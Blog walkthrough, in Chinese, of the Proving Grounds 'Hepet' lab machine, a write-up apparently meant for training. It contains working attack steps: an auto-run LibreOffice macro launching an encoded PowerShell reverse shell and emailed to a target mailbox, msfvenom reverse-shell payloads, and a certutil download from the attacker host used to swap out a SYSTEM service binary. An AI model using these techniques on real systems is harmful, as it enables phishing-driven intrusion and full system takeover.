Proving Grounds Practice : Hepet Walkthrough

Proving Grounds Practice : Hepet Walkthrough


Foothole (立足點 ) :

  • 網站發現某使用者的密碼
  • IMAP 登入該信箱讀信確認公司換 LiberOffice,說有表格請寄給 mailadmin
  • 做好會自動執行 Macro 程式的 *.ods 檔案
  • 寄信給 mailadmin 拿到 ReverseShell

PE ( 提權 ) :

  • 登入的使用者家目錄發現一個非預設的目錄,檢查後有個開機自動執行的程式在此
  • 確認有權限後將程式換成自行製作的 Payload 然後重開機提權成功

注意事項 : 

  • *.ods 的 Macro 執行寫法學習
  • 查找 Windows 服務的關鍵


第一步 Rustscan,└─$ rustscan -a 192.168.205.140 --scripts none --ulimit 5000 | tee rustscan



snmp closed,└─$ sudo nmap -sU -p 161 192.168.205.140 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 25,79,105,106,110,135,139,143,443,445,2224,5040,8000,11100,20001,33006,49666,49669,49668,49667,49665,49664 192.168.205.140 | tee nmap

25/tcp    open  smtp           Mercury/32 smtpd (Mail server account Maiser)
79/tcp    open  finger         Mercury/32 fingerd
| finger: Login: Admin         Name: Mail System Administrator\x0D
105/tcp   open  ph-addressbook Mercury/32 PH addressbook server
106/tcp   open  pop3pw         Mercury/32 poppass service
110/tcp   open  pop3           Mercury/32 pop3d
143/tcp   open  imap           Mercury/32 imapd 4.62 (這個唯一寫出版本)
443/tcp   open  ssl/http       Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
2224/tcp  open  http           Mercury/32 httpd
8000/tcp  open  http           Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
11100/tcp open  vnc            VNC (protocol 3.8)
20001/tcp open  ftp            FileZilla ftpd 0.9.41 beta
33006/tcp open  unknown
|_    Host '192.168.45.193' is not allowed to connect to this MariaDB server
這一台滿多 Port,須注意的有 20001 FTP 匿名登入
郵件系統 Mercury/32
443 / 8000 網站


enum4linux,└─$ enum4linux -a  192.168.205.140



ftp 匿名登入 mget * 一次將檔案全抓回來,└─$ ftp 192.168.205.140 -P 20001



測試寫檔案失敗



searchsploit Mercury/32 滿多的但沒看到 RCE 都是 BOF



Metasploit 沒反應



443 /





443 /robots.txt



8000 /

看來也是一樣,像是一個 Staging 的網站



OSCP Pen-200 主要是在考量你的枚舉能力與觀察力

在網頁發現員工的名稱,實際上是系統的帳號是一個梗

但這裡有個很特別的地方,打久了一看就會知道這感覺就是個梗

就是 Jonas 的介紹,下方的角色說明明顯是個很特別與他人不一樣

Jonas K. SicMundusCreatusEst 感覺就像是一個密碼



目前沒有任何的發現,下一步在 Google 了一番後發現 IMAP 可以直接登入

那就試試看吧,└─$ nc -nv 192.168.205.140 143 

然後依序輸入
tag login jonas@localhost SicMundusCreatusEst
tag LIST "" "*"
tag SELECT INBOX
tag STATUS INBOX (MESSAGES)
tag fetch 1 (BODY[1])
可以看到要求 Jonas Reset 他的 Password,說他用了他的描述當作密碼



接著使用 tag fetch 2:5 BODY[HEADER] BODY[1] 讀取相關郵件資訊



從郵件的內文得知辦公室的 Office 文件軟體改成 LibreOffice

然後所有文件與電子表單會透過郵件處理以確認相容性

接著看到 Agnes 發信給大家說他是新來的公關,並請大家將電子表格發給 mailadmin

後續讓我們來寄信看看,但郵件中應該要包含我們想要的 Payload

讓我們一樣使用最愛的 Powershell Oneliner



也可以直接用 Metasploit 產生,指令 : 
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.177 LPORT=443 -f hta-psh -o shell.hta




參考課程編輯一下內容的變數如下

Str = Str + "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"

Str = Str + "ABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewA"

.......

Str = Str + "CQAcwApADsA"



更快的方式是寫一個 Python Code 如下

s = "powershell.exe -nop -w hidden -e aQBmACgAWwBJ...ACQAcwApADsA"


n = 50

for i in range(0, len(s), n):

    chunk = s[i:i + n]

    print('Str = Str + "' + chunk + '"')



執行後就會自動做好想要的結果 Str = Str + "<50 個字元>"




從郵件中可以看到是表格的文件,所以這一次要用表格文件編輯 Marco 檔案

Tools --> Macros --> Organize Macros --> Basic



New Macro



取名 ReverseShell



開始編輯



依據課程標準編輯如下

Sub Exploit


   Dim Str As String

Str = Str + "cmd.exe /C powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"

Str = Str + "ABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewA"

...

Str = Str + "jAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoA"

Str = Str + "CQAcwApADsA"


   Shell(Str)

End Sub






存檔




Tool --> Customize


Event --> Open Document --> Macro


附加




swaks 透過 25 Port 寄信失敗

sudo swaks -t mailadmin@localhost --from jonas@localhost --attach @reverseshell.ods --server 192.168.205.140 --body @/home/kali/pg/140/body.txt --header "Subject: Your spreadsheet" --suppress-data -ap.........GG



改用 sendmail 指令成功寄出了

└─$ sendemail -f 'jonas@localhost' -t 'mailadmin@localhost' -s 192.168.205.140:25 -u 'Your spreadsheet' -m 'Here is your requested spreadsheet' -a reverseshell.ods

可是 4444 沒進來........GG

但是從 sendmail 的測試發現不用帳號密碼,所以將 swaks 的指令後面參數 -ap 拿掉再測試一次就成功了,└─$ sudo swaks -t mailadmin@localhost --from jonas@localhost --attach @reverseshell.ods --server 192.168.205.140:25 --body @/home/kali/pg/140/body.txt --header "Subject: Your spreadsheet" --suppress-data




後來發現最簡單的寄信方式如下

sendemail -f 'jonas@localhost' \

 -t 'mailadmin@localhost' \

 -s 192.168.183.140:25 \

 -u 'Your spreadsheet' \

 -m 'Here is your requested spreadsheet' \

 -a ReverseShell.ods



ReverseShell 443 進來了,拿第一階段 local.txt



開始 PE,whoami /priv,看來可以重新開機




現有使用者 Ela Arwel 家目錄底下有個非預設的 Veyon 資料夾



內容看起來像是一個安裝程式



看看所有自動執行的程式

wmic service get name,displayname,pathname,startmode | findstr /i "auto"



看到該資料夾路徑的程式,服務名稱是 VeyonService

Veyon Service                                                                       VeyonService                              

C:\Users\Ela Arwel\Veyon\veyon-service.exe                                               Auto       



sc qc 看一下 sc qc VeyonService

用 LocalSystem 跑的,權限極大



看一下有無權限對該程式執行檔 icacls "C:\Users\Ela Arwel\Veyon\veyon-service.exe"

現有使用者有 (F) 權限



馬上建立一個名稱一樣的 Reverse Shell 的 *.exe 檔案

└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.177 LPORT=4446 -f exe -o veyon-service.exe



將原有的 veyon-service.exe 命名為 veyon-service.exe.old

ren veyon-service.exe veyon-service.exe.old



從 kali 將 payload 載入

certutil -urlcache -f http://192.168.45.177/pg/140/veyon-service.exe veyon-service.exe



停止服務 net stop VeyonService 發現沒有權限



那就直接重新開機吧 shutdown /r /f /t 1



重開機後 4446 Reverse Shell 進來了,whoami 看一下確定是 system 直接拿 flag




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)